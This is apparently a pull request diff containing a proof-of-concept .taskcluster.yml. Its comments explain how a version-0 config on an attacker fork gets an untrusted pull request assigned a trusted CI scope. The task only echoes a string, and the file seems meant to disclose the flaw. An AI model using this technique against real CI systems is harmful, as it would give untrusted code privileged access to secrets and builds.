Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
49 changes: 39 additions & 10 deletions .taskcluster.yml
Original file line number Diff line number Diff line change
@@ -1,10 +1,39 @@
version: 1
policy:
pullRequests: public_restricted
tasks: []
# Goes on the DEFAULT branch (main) of sys0xFF/tc-poc.
# getRepoPolicy reads policy.pullRequests from the RAW default-branch YAML
# (no json-e rendering), so this is all that's needed to make the repo
# public_restricted. `tasks: []` keeps the default branch clean: a push of
# this file does not try to create any task (no extra InsufficientScopes
# commit comment).
version: 0
metadata:
name: "v0 scope-confusion PoC"
description: "Untrusted non-collaborator fork PR carrying a version-0 head .taskcluster.yml"
owner: "axonogenesis@proton.me"
source: "https://github.com/sys0xFF/tc-poc"
tasks:
- provisionerId: proj-getting-started
workerType: tutorial
# jparam time templates: MUST be quoted; jparam strips the quotes and
# passes "0 seconds"/"1 hour" to $fromNow (tc.fromNowJSON) -> valid ISO.
# Verified locally against json-parameterization + @taskcluster/client.
created: "{{ '0 seconds' | $fromNow }}"
deadline: "{{ '1 hour' | $fromNow }}"
extra:
github:
env: true
events:
- pull_request.opened
- pull_request.synchronize
- pull_request.reopened
payload:
maxRunTime: 600
image: "ubuntu:latest"
command:
- "/bin/bash"
- "-c"
- "echo scope-confusion-poc"
metadata:
name: "v0 PR task"
description: "Demonstrates the trusted :pull-request scope assigned to an untrusted PR"
owner: "axonogenesis@proton.me"
source: "https://github.com/sys0xFF/tc-poc"
# Goes on the ATTACKER fork branch (n4sh7/tc-poc:poc) as .taskcluster.yml.
# Survives VersionZero.compileTasks filtering (extra.github.events includes
# pull_request.opened). With created/deadline valid, queue.createTask passes
# input validation and fails on scopes -> the github service posts a PR comment
# printing the attempted scopes, which include the TRUSTED
# assume:repo:github.com/sys0xFF/tc-poc:pull-request.